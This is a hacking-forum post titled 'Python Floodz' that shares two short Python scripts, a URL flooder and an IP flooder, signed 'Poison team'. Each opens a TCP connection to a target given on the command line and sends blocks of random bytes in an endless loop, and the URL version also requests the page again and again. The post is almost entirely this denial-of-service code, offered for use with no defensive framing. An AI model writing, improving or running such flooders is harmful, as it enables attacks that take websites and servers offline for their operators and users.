Jump to content
Gabriel87

Python Floodz

Recommended Posts

Posted

URL flooder:

#!/usr/bin/env python
'''
Simple flooder to flood URL's
Uses TCP sockets and urllib
Author: chroniccommand
'''
from socket import *
import urllib2, sys, random
if len(sys.argv) != 3:
print("Usage: %s <url> <port>" % sys.argv[0])
else:
s = socket(AF_INET, SOCK_STREAM)
host = sys.argv[1]
port = int(sys.argv[2])
sockhost1 = host.strip('http://')
sockhost = gethostbyname(sockhost1)
longsht = random._urandom(1024)
fmsg = "Fuxed by Poison team"
print sockhost
i = 1
s.connect((sockhost,port))
while(1):
urllib2.urlopen(host)
s.send(longsht * 200)
s.send(fmsg)
print("Fuxed x%d" % i)
i += 1

IP flooder:

'''
Simple flooder to flood IP's
Uses TCP sockets
Author: Chroniccommand
'''
from socket import *
import sys, random
if len(sys.argv) != 4:
print("Usage: %s <host> <port> <bytes>" % sys.argv[0])
print("Bytes is how many random bytes to send")
else:
s = socket(AF_INET, SOCK_STREAM)
host = sys.argv[1]
port = int(sys.argv[2])
fmsg = "Fuxed by Poison team"
longsht = random._urandom(int(sys.argv[3]))
i = 1
s.connect((host, port))
while(1):
s.send(longsht * 200)
s.send(fmsg)
print("Fuxed x%d" % i)
i += 1

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...